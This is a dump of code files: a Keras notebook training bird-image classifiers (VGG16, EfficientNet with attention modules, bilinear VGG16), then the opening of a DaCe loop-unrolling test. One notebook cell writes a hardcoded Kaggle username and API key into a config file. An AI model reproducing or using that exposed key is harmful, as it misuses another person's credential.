"max_stars_repo_stars_event_min_datetime": "2015-03-09T01:24:15.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-24T13:56:25.000Z", "max_issues_repo_path": "packages/python/yap_kernel/yap_ipython/sphinxext/custom_doctests.py", "max_issues_repo_name": "ryandesign/yap", "max_issues_repo_head_hexsha": "9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214", "max_issues_repo_licenses": ["Artistic-1.0-Perl", "ClArtistic"], "max_issues_count": 52, "max_issues_repo_issues_event_min_datetime": "2016-02-14T08:59:37.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-14T16:39:35.000Z", "max_forks_repo_path": "packages/python/yap_kernel/yap_ipython/sphinxext/custom_doctests.py", "max_forks_repo_name": "ryandesign/yap", "max_forks_repo_head_hexsha": "9a50d1a3d985ec559ebfbb8e9f4d4c6b88b30214", "max_forks_repo_licenses": ["Artistic-1.0-Perl", "ClArtistic"], "max_forks_count": 27, "max_forks_repo_forks_event_min_datetime": "2015-11-19T02:45:49.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-25T19:47:58.000Z", "avg_line_length": 29.5833333333, "max_line_length": 81, "alphanum_fraction": 0.6216684724, "include": true, "reason": "import numpy,from numpy", "num_tokens": 1147, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43782348444346736, "lm_q2_score": 0.11596071825396675, "lm_q1q2_score": 0.050770325724518915}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nget_ipython().system('wget https://dwz.cn/ijPVPQhz')\nget_ipython().system('sudo apt-get install rar unrar')\nget_ipython().system('unrar x ijPVPQhz')\nget_ipython().system('cp -r AI\u7814\u4e60\u793e_\u9e1f\u7c7b\u8bc6\u522b\u6bd4\u8d5b\u6570\u636e\u96c6/* ./')\n\n\n# In[2]:\n\n\n# \u5c06kaggle\u7684\u6570\u636e\u96c6\u76f4\u63a5\u4e0b\u8f7d\u5230codelab\u4e2d\nget_ipython().system('pip install -U -q kaggle --upgrade')\nget_ipython().system('mkdir -p ~/.kaggle')\nget_ipython().system('echo \\'{\"username\":\"codingchaozhang\",\"key\":\"4f6ee69ad1970ff0c67499e6defcefb7\"}\\' > ~/.kaggle/kaggle.json')\nget_ipython().system('chmod 600 ~/.kaggle/kaggle.json')\nget_ipython().system('kaggle competitions download -c birds-classification')\n\n\n# In[1]:\n\n\nimport os\n\ntrain_set_dir = \"train_set/\"\nval_set_dir = \"val_set/\"\ntest_set_dir = \"test_set/\"\n\nprint(len(os.listdir(train_set_dir)))\nprint(len(os.listdir(test_set_dir)))\nprint(len(os.listdir(test_set_dir)))\n\n\n# ### \u63a2\u7d22\u6570\u636e\n\n# In[2]:\n\n\nimport os\n\nbird_dir = \"/content/\"\nx_train_path = os.path.join(bird_dir,\"train_set\")\nx_test_path = os.path.join(bird_dir,\"test_set\")\nx_valid_path = os.path.join(bird_dir,\"val_set\")\n\ny_train_path = os.path.join(bird_dir,\"train_pname_to_index.csv\")\ny_valid_path = os.path.join(bird_dir,\"val_pname_to_index.csv\")\n\n\n# In[3]:\n\n\nimport pandas as pd\n\ny_train = pd.read_csv(y_train_path,skiprows=0)\ny_valid = pd.read_csv(y_valid_path,skiprows=0)\n\n\n# In[4]:\n\n\ny_train.head()\n\n\n# In[5]:\n\n\ny_valid.head()\n\n\n# In[6]:\n\n\nx_train_img_path = y_train[\"img_path\"]\ny_train = y_train[\"label\"] - 1\nx_valid_img_path = y_valid[\"img_path\"]\ny_valid = y_valid[\"label\"] -1\n\nprint(x_train_img_path[:5])\nprint(y_train[:5])\n\nprint(x_valid_img_path[:5])\nprint(y_valid[:5])\n\n\n# In[7]:\n\n\n# \u5b9a\u4e49\u8bfb\u53d6\u56fe\u7247\u51fd\u6570\nimport cv2\nimport numpy as np\n\ndef get_img(file_path,img_rows,img_cols):\n  \n    img = cv2.imread(file_path)\n    img = cv2.resize(img,(img_rows,img_cols))\n    if img.shape[2] == 1:\n      img = np.dstack([img,img,img])\n    else:\n      img = cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\n    img = img.astype(np.float32)\n    \n    return img\n\n\n# In[8]:\n\n\n# \u52a0\u8f7d\u8bad\u7ec3\u96c6\nx_train = []\nfor img_name in x_train_img_path:\n    img = get_img(os.path.join(x_train_path,img_name),224,224)\n    x_train.append(img)\n\nx_train = np.array(x_train,np.float32)\n\n\n# In[9]:\n\n\n# \u52a0\u8f7d\u9a8c\u8bc1\u96c6\nx_valid = []\nfor img_name in x_valid_img_path:\n    img = get_img(os.path.join(x_valid_path,img_name),224,224)\n    x_valid.append(img)\n\nx_valid = np.array(x_valid,np.float32)\n\n\n# In[10]:\n\n\n# \u52a0\u8f7d\u9884\u6d4b\u96c6\nimport re\n\nx_test_img_path = os.listdir(x_test_path)\nx_test_img_path = sorted(x_test_img_path,key = lambda i:int(re.match(r\"(\\d+)\",i).group()))\n\n\nx_test = []\nfor img_name in x_test_img_path:\n    img = get_img(os.path.join(x_test_path,img_name),224,224)\n    x_test.append(img)\n\nx_test = np.array(x_test,np.float32)\n\n\n# In[11]:\n\n\nprint(x_train.shape)\nprint(y_train.shape)\n\nprint(x_valid.shape)\nprint(y_valid.shape)\n\n# print(x_test.shape)\n\n\n# In[12]:\n\n\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\nplt.imshow(x_train[0]/255)\nprint(y_train[0])\n\n\n# In[13]:\n\n\nX_train = np.concatenate((x_train,x_valid),axis=0)\nY_train = np.concatenate((y_train,y_valid),axis=0)\n\nprint(X_train.shape)\nprint(Y_train.shape)\n\n\n# print(x_test.shape)\n\n\n# In[14]:\n\n\nsum = np.unique(y_train)\nn_classes = len(sum)\n\n\n# In[15]:\n\n\n# \u76f4\u65b9\u56fe\u6765\u663e\u793a\u56fe\u50cf\u8bad\u7ec3\u96c6\u7684\u5404\u4e2a\u7c7b\u522b\u7684\u5206\u522b\u60c5\u51b5\ndef plot_y_train_hist():\n  fig = plt.figure(figsize=(15,5))\n  ax = fig.add_subplot(1,1,1)\n  hist = ax.hist(Y_train,bins=n_classes)\n  ax.set_title(\"the frequentcy of each category sign\")\n  ax.set_xlabel(\"bird\")\n  ax.set_ylabel(\"frequency\")\n  plt.show()\n  return hist\n\nhist = plot_y_train_hist()\n\n\n# In[26]:\n\n\n# \u5212\u5206\u6570\u636e\u96c6\nfrom sklearn.model_selection import train_test_split\n\nx_train,x_valid,y_train,y_valid = train_test_split(X_train,Y_train,test_size=0.3,random_state=2019)\n\n\n\nprint(x_train.shape)\nprint(y_train.shape)\n\nprint(x_valid.shape)\nprint(y_valid.shape)\n\nprint(x_test.shape)\n\n\n# In[27]:\n\n\n# \u5bf9\u6807\u7b7e\u6570\u636e\u8fdb\u884cone-hot\u7f16\u7801\n\nfrom keras.utils import np_utils\n#Y_train = np_utils.to_categorical(Y_train,n_classes)\ny_train = np_utils.to_categorical(y_train,n_classes)\ny_valid = np_utils.to_categorical(y_valid,n_classes)\nprint(\"Shape after one-hot encoding:\",y_train.shape)\nprint(\"Shape after one-hot encoding:\",y_valid.shape)\n\n\n# ### \u6a21\u578b\n\n# In[28]:\n\n\n# \u5bfc\u5165\u5f00\u53d1\u9700\u8981\u7684\u5e93\nfrom keras import optimizers, Input\nfrom keras.applications import  imagenet_utils\n\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import *\nfrom keras.layers import *\nfrom keras.optimizers import *\nfrom keras.callbacks import *\nfrom keras.applications import *\n\nfrom sklearn.preprocessing import *\nfrom sklearn.model_selection import *\nfrom sklearn.metrics import *\n\n\n# In[37]:\n\n\n# \u7ed8\u5236\u8bad\u7ec3\u8fc7\u7a0b\u4e2d\u7684 loss \u548c acc \u53d8\u5316\u66f2\u7ebf\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\ndef history_plot(history_fit):\n    plt.figure(figsize=(12,6))\n    \n    # summarize history for accuracy\n    plt.subplot(121)\n    plt.plot(history_fit.history[\"accuracy\"])\n    plt.plot(history_fit.history[\"val_accuracy\"])\n    plt.title(\"model accuracy\")\n    plt.ylabel(\"accuracy\")\n    plt.xlabel(\"epoch\")\n    plt.legend([\"train\", \"valid\"], loc=\"upper left\")\n    \n    # summarize history for loss\n    plt.subplot(122)\n    plt.plot(history_fit.history[\"loss\"])\n    plt.plot(history_fit.history[\"val_loss\"])\n    plt.title(\"model loss\")\n    plt.ylabel(\"loss\")\n    plt.xlabel(\"epoch\")\n    plt.legend([\"train\", \"test\"], loc=\"upper left\")\n    \n    plt.show()\n\n\n# In[30]:\n\n\n# fine-tune \u6a21\u578b\ndef fine_tune_model(model, optimizer, batch_size, epochs, freeze_num):\n    '''\n    discription: \u5bf9\u6307\u5b9a\u9884\u8bad\u7ec3\u6a21\u578b\u8fdb\u884cfine-tune\uff0c\u5e76\u4fdd\u5b58\u4e3a.hdf5\u683c\u5f0f\n    \n    MODEL\uff1a\u4f20\u5165\u7684\u6a21\u578b\uff0cVGG16\uff0c ResNet50, ...\n\n    optimizer: fine-tune all layers \u7684\u4f18\u5316\u5668, first part\u9ed8\u8ba4\u7528adadelta\n    batch_size: \u6bcf\u4e00\u6279\u7684\u5c3a\u5bf8\uff0c\u5efa\u8bae32/64/128\n    epochs: fine-tune all layers\u7684\u4ee3\u6570\n    freeze_num: first part\u51bb\u7ed3\u5377\u79ef\u5c42\u7684\u6570\u91cf\n    '''\n\n    # datagen = ImageDataGenerator(\n    #     rescale=1.255,\n    #     # shear_range=0.2,\n    #     # zoom_range=0.2,\n    #     # horizontal_flip=True,\n    #     # vertical_flip=True,\n    #     # fill_mode=\"nearest\"\n    #   )\n    \n    # datagen.fit(X_train)\n    \n    \n    # first: \u4ec5\u8bad\u7ec3\u5168\u8fde\u63a5\u5c42\uff08\u6743\u91cd\u968f\u673a\u521d\u59cb\u5316\u7684\uff09\n    # \u51bb\u7ed3\u6240\u6709\u5377\u79ef\u5c42\n    \n    for layer in model.layers[:freeze_num]:\n        layer.trainable = False\n    \n    model.compile(optimizer=optimizer, \n                  loss=\"categorical_crossentropy\",\n                  metrics=[\"accuracy\"])\n\n    # model.fit_generator(datagen.flow(x_train,y_train,batch_size=batch_size),\n    #                     steps_per_epoch=len(x_train)/32,\n    #                     epochs=3,\n    #                     shuffle=True,\n    #                     verbose=1,\n    #                     datagen.flow(x_valid, y_valid))\n    model.fit(x_train,\n         y_train,\n         batch_size=batch_size,\n         epochs=3,\n         shuffle=True,\n         verbose=1,\n         validation_data=(x_valid,y_valid)\n        )\n    print('Finish step_1')\n    \n    \n    # second: fine-tune all layers\n    for layer in model.layers[freeze_num:]:\n        layer.trainable = True\n    \n    rc = ReduceLROnPlateau(monitor=\"val_loss\",\n                factor=0.2,\n                patience=3,\n                verbose=1,\n                mode='min')\n\n    model_name = model.name  + \".hdf5\"\n    mc = ModelCheckpoint(model_name, \n               monitor=\"val_loss\", \n               save_best_only=True,\n               verbose=1,\n               mode='min')\n    el = EarlyStopping(monitor=\"val_loss\",\n              min_delta=0,\n              patience=5,\n              verbose=1,\n              restore_best_weights=True)\n    \n    model.compile(optimizer=optimizer, \n           loss='categorical_crossentropy', \n           metrics=[\"accuracy\"])\n\n    # history_fit = model.fit_generator(datagen.flow(x_train,y_train,batch_size=32),\n    #                                  steps_per_epoch=len(x_train)/32,\n    #                                  epochs=epochs,\n    #                                  shuffle=True,\n    #                                  verbose=1,\n    #                                  callbacks=[mc,rc,el],\n    #                                  datagen.flow(x_valid, y_valid))\n    history_fit = model.fit(x_train,\n                 y_train,\n                 batch_size=batch_size,\n                 epochs=epochs,\n                 shuffle=True,\n                 verbose=1,\n                 validation_data=(x_valid,y_valid),\n                 callbacks=[mc,rc,el])\n    \n    print('Finish fine-tune')\n    return history_fit\n\n\n# In[31]:\n\n\n# \u5b9a\u4e49\u4e00\u4e2aVGG16\u7684\u6a21\u578b\ndef vgg16_model(img_rows,img_cols):\n  x = Input(shape=(img_rows, img_cols, 3))\n  x = Lambda(imagenet_utils.preprocess_input)(x)\n  base_model = VGG16(input_tensor=x,weights=\"imagenet\",include_top=False, pooling='avg')\n  x = base_model.output\n  x = Dense(1024,activation=\"relu\",name=\"fc1\")(x)\n  x = Dropout(0.5)(x)\n  predictions = Dense(n_classes,activation=\"softmax\",name=\"predictions\")(x)\n\n  vgg16_model = Model(inputs=base_model.input,outputs=predictions,name=\"vgg16\")\n  \n  return vgg16_model\n\n\n# In[32]:\n\n\n# \u521b\u5efaVGG16\u6a21\u578b\nimg_rows, img_cols = 224, 224\nvgg16_model = vgg16_model(img_rows,img_cols)\n\n\n# In[33]:\n\n\nfor i,layer in enumerate(vgg16_model.layers):\n  print(i,layer.name)\n\n\n# In[34]:\n\n\nvgg16_model.summary()\n\n\n# In[35]:\n\n\noptimizer = optimizers.Adam(lr=0.0001)\nbatch_size = 32\nepochs = 30\nfreeze_num = 21\n\n\nget_ipython().run_line_magic('time', 'vgg16_history = fine_tune_model(vgg16_model,optimizer,batch_size,epochs,freeze_num)')\n\n\n# In[38]:\n\n\nhistory_plot(vgg16_history)\n\n\n# In[39]:\n\n\nget_ipython().system('pip install -U efficientnet')\n\n\n# In[46]:\n\n\n# \u5bfc\u5165Efficient\u6a21\u5757\nfrom efficientnet.keras import EfficientNetB4\nimport keras.backend as K\n\n\n# In[47]:\n\n\n# \u5b9a\u4e49\u4e00\u4e2aEfficientNet\u6a21\u578b\ndef efficient_model(img_rows,img_cols):\n  K.clear_session()\n  x = Input(shape=(img_rows,img_cols,3))\n  x = Lambda(imagenet_utils.preprocess_input)(x)\n  \n  base_model = EfficientNetB4(input_tensor=x,weights=\"imagenet\",include_top=False,pooling=\"avg\")\n  x = base_model.output\n  x = Dense(1024,activation=\"relu\",name=\"fc1\")(x)\n  x = Dropout(0.5)(x)\n  predictions = Dense(n_classes,activation=\"softmax\",name=\"predictions\")(x)\n\n  eB_model = Model(inputs=base_model.input,outputs=predictions,name=\"eB4\")\n\n  return eB_model\n\n\n# In[48]:\n\n\n# \u521b\u5efaEfficient\u6a21\u578b\nimg_rows,img_cols=224,224\neB_model = efficient_model(img_rows,img_cols)\n\n\n# In[49]:\n\n\nfor i,layer in enumerate(eB_model.layers):\n  print(i,layer.name)\n\n\n# In[50]:\n\n\neB_model.summary()\n\n\n# In[ ]:\n\n\noptimizer = optimizers.Adam(lr=0.0001)\nbatch_size = 32\nepochs = 30\nfreeze_num = 469\neB_model_history  = fine_tune_model(eB_model,optimizer,batch_size,epochs,freeze_num)\n\n\n# In[ ]:\n\n\nhistory_plot(eB_model_history)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\nget_ipython().system('pip install -U efficientnet')\n\n\n# In[ ]:\n\n\n# \u5bfc\u5165\u6a21\u5757\nfrom efficientnet.keras import EfficientNetB3\nimport keras.backend as K\n\n\n# In[ ]:\n\n\n# \u5b9a\u4e49\u4e00\u4e2a\u52a0\u5165Attention\u6a21\u5757\u7684Efficient\u7f51\u7edc\u67b6\u6784\u5373efficientnet-with-attention\n\ndef efficient_attention_model(img_rows,img_cols):\n  K.clear_session()\n  \n  in_lay = Input(shape=(img_rows,img_cols,3))\n  base_model = EfficientNetB3(input_shape=(img_rows,img_cols,3),weights=\"imagenet\",include_top=False)\n\n  pt_depth = base_model.get_output_shape_at(0)[-1]\n\n  pt_features = base_model(in_lay)\n  bn_features = BatchNormalization()(pt_features)\n\n  # here we do an attention mechanism to turn pixels in the GAP on an off\n  atten_layer = Conv2D(64,kernel_size=(1,1),padding=\"same\",activation=\"relu\")(Dropout(0.5)(bn_features))\n  atten_layer = Conv2D(16,kernel_size=(1,1),padding=\"same\",activation=\"relu\")(atten_layer)\n  atten_layer = Conv2D(8,kernel_size=(1,1),padding=\"same\",activation=\"relu\")(atten_layer)\n  atten_layer = Conv2D(1,kernel_size=(1,1),padding=\"valid\",activation=\"sigmoid\")(atten_layer)# H,W,1\n  # fan it out to all of the channels\n  up_c2_w = np.ones((1,1,1,pt_depth)) #1,1,C\n  up_c2 = Conv2D(pt_depth,kernel_size=(1,1),padding=\"same\",activation=\"linear\",use_bias=False,weights=[up_c2_w])\n  up_c2.trainable = False\n  atten_layer = up_c2(atten_layer)# H,W,C\n\n  mask_features = multiply([atten_layer,bn_features])# H,W,C\n\n  gap_features = GlobalAveragePooling2D()(mask_features)# 1,1,C\n  # gap_mask = GlobalAveragePooling2D()(atten_layer)# 1,1,C\n\n  # # to account for missing values from the attention model\n  # gap = Lambda(lambda x:x[0]/x[1],name=\"RescaleGAP\")([gap_features,gap_mask])\n  gap_dr = Dropout(0.25)(gap_features)\n  dr_steps = Dropout(0.25)(Dense(1000,activation=\"relu\")(gap_dr))\n  out_layer = Dense(n_classes,activation=\"softmax\")(dr_steps)\n  eb_atten_model = Model(inputs=[in_lay],outputs=[out_layer])\n\n  return eb_atten_model\n\n\n# In[ ]:\n\n\nimg_rows,img_cols = 224,224\neB_atten_model = efficient_attention_model(img_rows,img_cols)\n\n\n# In[ ]:\n\n\nfor i,layer in enumerate(eB_atten_model.layers):\n  print(i,layer.name)\n\n\n# In[ ]:\n\n\neB_atten_model.summary()\n\n\n# In[ ]:\n\n\noptimizer = optimizers.Adam(lr=0.0001)\nbatch_size = 32\nepochs = 30\nfreeze_num = 12\neB_atten_model_history  = fine_tune_model(eB_atten_model,optimizer,batch_size,epochs,freeze_num)\n\n\n# In[ ]:\n\n\nhistory_plot(eB_atten_model_history)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\nget_ipython().system('pip install -U efficientnet')\n\n\n# In[ ]:\n\n\n# \u5bfc\u5165\u6a21\u5757\nfrom efficientnet.keras import EfficientNetB3\nimport keras.backend as K\nimport tensorflow as tf\n\n\n# In[ ]:\n\n\nfrom keras.layers import GlobalAveragePooling2D, GlobalMaxPooling2D, Reshape, Dense, multiply, Permute, Concatenate, Conv2D, Add, Activation, Lambda\nfrom keras import backend as K\nfrom keras.activations import sigmoid\n\ndef attach_attention_module(net, attention_module):\n  if attention_module == 'se_block': # SE_block\n    net = se_block(net)\n  elif attention_module == 'cbam_block': # CBAM_block\n    net = cbam_block(net)\n  else:\n    raise Exception(\"'{}' is not supported attention module!\".format(attention_module))\n\n  return net\n\ndef se_block(input_feature, ratio=8):\n\t\"\"\"Contains the implementation of Squeeze-and-Excitation(SE) block.\n\tAs described in https://arxiv.org/abs/1709.01507.\n\t\"\"\"\n\t\n\tchannel_axis = 1 if K.image_data_format() == \"channels_first\" else -1\n\tchannel = input_feature._keras_shape[channel_axis]\n\n\tse_feature = GlobalAveragePooling2D()(input_feature)\n\tse_feature = Reshape((1, 1, channel))(se_feature)\n\tassert se_feature._keras_shape[1:] == (1,1,channel)\n\tse_feature = Dense(channel // ratio,\n\t\t\t\t\t   activation='relu',\n\t\t\t\t\t   kernel_initializer='he_normal',\n\t\t\t\t\t   use_bias=True,\n\t\t\t\t\t   bias_initializer='zeros')(se_feature)\n\tassert se_feature._keras_shape[1:] == (1,1,channel//ratio)\n\tse_feature = Dense(channel,\n\t\t\t\t\t   activation='sigmoid',\n\t\t\t\t\t   kernel_initializer='he_normal',\n\t\t\t\t\t   use_bias=True,\n\t\t\t\t\t   bias_initializer='zeros')(se_feature)\n\tassert se_feature._keras_shape[1:] == (1,1,channel)\n\tif K.image_data_format() == 'channels_first':\n\t\tse_feature = Permute((3, 1, 2))(se_feature)\n\n\tse_feature = multiply([input_feature, se_feature])\n\treturn se_feature\n\ndef cbam_block(cbam_feature, ratio=8):\n\t\"\"\"Contains the implementation of Convolutional Block Attention Module(CBAM) block.\n\tAs described in https://arxiv.org/abs/1807.06521.\n\t\"\"\"\n\t\n\tcbam_feature = channel_attention(cbam_feature, ratio)\n\tcbam_feature = spatial_attention(cbam_feature)\n\treturn cbam_feature\n\ndef channel_attention(input_feature, ratio=8):\n\t\n\tchannel_axis = 1 if K.image_data_format() == \"channels_first\" else -1\n\tchannel = input_feature._keras_shape[channel_axis]\n\t\n\tshared_layer_one = Dense(channel//ratio,\n\t\t\t\t\t\t\t activation='relu',\n\t\t\t\t\t\t\t kernel_initializer='he_normal',\n\t\t\t\t\t\t\t use_bias=True,\n\t\t\t\t\t\t\t bias_initializer='zeros')\n\tshared_layer_two = Dense(channel,\n\t\t\t\t\t\t\t kernel_initializer='he_normal',\n\t\t\t\t\t\t\t use_bias=True,\n\t\t\t\t\t\t\t bias_initializer='zeros')\n\t\n\tavg_pool = GlobalAveragePooling2D()(input_feature)    \n\tavg_pool = Reshape((1,1,channel))(avg_pool)\n\tassert avg_pool._keras_shape[1:] == (1,1,channel)\n\tavg_pool = shared_layer_one(avg_pool)\n\tassert avg_pool._keras_shape[1:] == (1,1,channel//ratio)\n\tavg_pool = shared_layer_two(avg_pool)\n\tassert avg_pool._keras_shape[1:] == (1,1,channel)\n\t\n\tmax_pool = GlobalMaxPooling2D()(input_feature)\n\tmax_pool = Reshape((1,1,channel))(max_pool)\n\tassert max_pool._keras_shape[1:] == (1,1,channel)\n\tmax_pool = shared_layer_one(max_pool)\n\tassert max_pool._keras_shape[1:] == (1,1,channel//ratio)\n\tmax_pool = shared_layer_two(max_pool)\n\tassert max_pool._keras_shape[1:] == (1,1,channel)\n\t\n\tcbam_feature = Add()([avg_pool,max_pool])\n\tcbam_feature = Activation('sigmoid')(cbam_feature)\n\t\n\tif K.image_data_format() == \"channels_first\":\n\t\tcbam_feature = Permute((3, 1, 2))(cbam_feature)\n\t\n\treturn multiply([input_feature, cbam_feature])\n\ndef spatial_attention(input_feature):\n\tkernel_size = 7\n\t\n\tif K.image_data_format() == \"channels_first\":\n\t\tchannel = input_feature._keras_shape[1]\n\t\tcbam_feature = Permute((2,3,1))(input_feature)\n\telse:\n\t\tchannel = input_feature._keras_shape[-1]\n\t\tcbam_feature = input_feature\n\t\n\tavg_pool = Lambda(lambda x: K.mean(x, axis=3, keepdims=True))(cbam_feature)\n\tassert avg_pool._keras_shape[-1] == 1\n\tmax_pool = Lambda(lambda x: K.max(x, axis=3, keepdims=True))(cbam_feature)\n\tassert max_pool._keras_shape[-1] == 1\n\tconcat = Concatenate(axis=3)([avg_pool, max_pool])\n\tassert concat._keras_shape[-1] == 2\n\tcbam_feature = Conv2D(filters = 1,\n\t\t\t\t\tkernel_size=kernel_size,\n\t\t\t\t\tstrides=1,\n\t\t\t\t\tpadding='same',\n\t\t\t\t\tactivation='sigmoid',\n\t\t\t\t\tkernel_initializer='he_normal',\n\t\t\t\t\tuse_bias=False)(concat)\t\n\tassert cbam_feature._keras_shape[-1] == 1\n\t\n\tif K.image_data_format() == \"channels_first\":\n\t\tcbam_feature = Permute((3, 1, 2))(cbam_feature)\n\t\t\n\treturn multiply([input_feature, cbam_feature])\n\n\n# In[ ]:\n\n\n# \u5b9a\u4e49\u4e00\u4e2aEfficientNet\u6a21\u578b\ndef efficient__atten2_model(img_rows,img_cols):\n  K.clear_session()\n  \n  in_lay = Input(shape=(img_rows,img_cols,3))\n  base_model = EfficientNetB3(input_shape=(img_rows,img_cols,3),weights=\"imagenet\",include_top=False)\n  pt_features = base_model(in_lay)\n  bn_features = BatchNormalization()(pt_features)\n\n  atten_features = attach_attention_module(bn_features,\"se_block\")\n  gap_features = GlobalAveragePooling2D()(atten_features)\n\n  gap_dr = Dropout(0.25)(gap_features)\n  dr_steps = Dropout(0.25)(Dense(1000,activation=\"relu\")(gap_dr))\n  out_layer = Dense(n_classes,activation=\"softmax\")(dr_steps)\n  eb_atten_model = Model(inputs=[in_lay],outputs=[out_layer])\n\n  return eb_atten_model\n\n\n# In[ ]:\n\n\nimg_rows,img_cols = 224,224\neB_atten2_model = efficient__atten2_model(img_rows,img_cols)\n\n\n# In[ ]:\n\n\nfor i,layer in enumerate(eB_atten2_model.layers):\n  print(i,layer.name)\n\n\n# In[ ]:\n\n\neB_atten2_model.summary()\n\n\n# In[ ]:\n\n\noptimizer = optimizers.Adam(lr=0.0001)\nbatch_size = 32\nepochs = 30\nfreeze_num = 19\neB_atten2_model_history  = fine_tune_model(eB_atten2_model,optimizer,batch_size,epochs,freeze_num)\n\n\n# In[ ]:\n\n\nhistory_plot(eB_atten2_model_history)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n# \u5b9a\u4e49\u53cc\u7ebf\u6027VGG16\u6a21\u578b\n\nfrom keras import backend as K\n\ndef batch_dot(cnn_ab):\n    return K.batch_dot(cnn_ab[0], cnn_ab[1], axes=[1, 1])\n\ndef sign_sqrt(x):\n    return K.sign(x) * K.sqrt(K.abs(x) + 1e-10)\n\ndef l2_norm(x):\n    return K.l2_normalize(x, axis=-1)\n \n \ndef bilinear_vgg16(img_rows,img_cols):\n    input_tensor = Input(shape=(img_rows,img_cols,3))\n    input_tensor = Lambda(imagenet_utils.preprocess_input)(input_tensor)\n\n    model_vgg16 = VGG16(include_top=False, weights=\"imagenet\",\n                        input_tensor=input_tensor,pooling=\"avg\")\n    \n    cnn_out_a = model_vgg16.layers[-2].output\n    cnn_out_shape = model_vgg16.layers[-2].output_shape\n    cnn_out_a = Reshape([cnn_out_shape[1]*cnn_out_shape[2],\n                         cnn_out_shape[-1]])(cnn_out_a)\n\n    cnn_out_b = cnn_out_a\n\n    cnn_out_dot = Lambda(batch_dot)([cnn_out_a, cnn_out_b])\n    cnn_out_dot = Reshape([cnn_out_shape[-1]*cnn_out_shape[-1]])(cnn_out_dot)\n \n    sign_sqrt_out = Lambda(sign_sqrt)(cnn_out_dot)\n    l2_norm_out = Lambda(l2_norm)(sign_sqrt_out)\n    \n    fc1 = Dense(1024,activation=\"relu\",name=\"fc1\")(l2_norm_out)\n    dropout = Dropout(0.5)(fc1)\n    output = Dense(n_classes, activation=\"softmax\",name=\"output\")(dropout)\n    bvgg16_model = Model(inputs=model_vgg16.input, outputs=output,name=\"bvgg16\")\n\n    return bvgg16_model\n\n\n# In[ ]:\n\n\n# \u521b\u5efa\u53cc\u7ebf\u6027VGG16\u6a21\u578b\nimg_rows,img_cols = 224,224\nbvgg16_model = bilinear_vgg16(img_rows,img_cols)\n\n\n# In[ ]:\n\n\nfor i,layer in enumerate(bvgg16_model.layers):\n  print(i,layer.name)\n\n\n# In[ ]:\n\n\noptimizer = optimizers.Adam(lr=0.0001)\nbatch_size = 32\nepochs = 100\nfreeze_num = 25\nbvgg16_history = fine_tune_model(bvgg16_model,optimizer,batch_size,epochs,freeze_num)\n\n\n# In[ ]:\n\n\nhistory_plot(bvgg16_history)\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n\n# ### ================================\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "2cbfb3fad46880ff7144359cb8be2154d473ce0c", "size": 20560, "ext": "py", "lang": "Python", "max_stars_repo_path": "bird/web/vgg16_train.py", "max_stars_repo_name": "birds-oucteam9/birds-team9", "max_stars_repo_head_hexsha": "0eb2b10d0544a6126e0411dde3368fb86c6c4cbb", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "bird/web/vgg16_train.py", "max_issues_repo_name": "birds-oucteam9/birds-team9", "max_issues_repo_head_hexsha": "0eb2b10d0544a6126e0411dde3368fb86c6c4cbb", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 32, "max_issues_repo_issues_event_min_datetime": "2020-11-26T02:10:38.000Z", "max_issues_repo_issues_event_max_datetime": "2021-01-03T14:46:31.000Z", "max_forks_repo_path": "bird/web/vgg16_train.py", "max_forks_repo_name": "birds-oucteam9/birds-team9", "max_forks_repo_head_hexsha": "0eb2b10d0544a6126e0411dde3368fb86c6c4cbb", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-12-18T15:23:36.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-18T15:23:36.000Z", "avg_line_length": 21.1958762887, "max_line_length": 148, "alphanum_fraction": 0.6854085603, "include": true, "reason": "import numpy", "num_tokens": 5861, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43782348444346736, "lm_q2_score": 0.11596071061609144, "lm_q1q2_score": 0.05077032238047773}}
{"text": "# Copyright 2019-2021 ETH Zurich and the DaCe authors. All rights reserved.\n\"\"\" Tests loop unrolling functionality. \"\"\"\nimport dace\nfrom dace.frontend.python import astutils\nfrom dace.frontend.python.common import SDFGConvertible\nfrom dace.frontend.python.preprocessing import LoopUnroller, DaceSyntaxError\nimport numpy as np\nimport pytest\n\n\ndef test_native_unroll():\n    \"\"\" Tests that unrolling functionality works. \"\"\"\n    a = 0\n    for i in dace.unroll(range(2, 4)):\n        a += i * i\n\n    assert a == 13\n\n\ndef test_dace_unroll():\n    \"\"\" Tests that unrolling functionality works within DaCe programs. \"\"\"\n    @dace.program\n    def tounroll(A: dace.float64[1]):\n        for i in dace.unroll(range(1, 4)):\n            A[0] += i * i\n\n    src_ast, fname, _, _ = astutils.function_to_ast(tounroll.f)\n    lu = LoopUnroller(tounroll.global_vars, fname, None)\n    unrolled = lu.visit(src_ast)\n    assert len(unrolled.body[0].body) == 3\n\n    a = np.zeros([1])\n    tounroll(a)\n    assert a[0] == 14\n\n\ndef test_dace_unroll_multistatement():\n    \"\"\" Tests unrolling functionality with multiple statements. \"\"\"\n    @dace.program\n    def 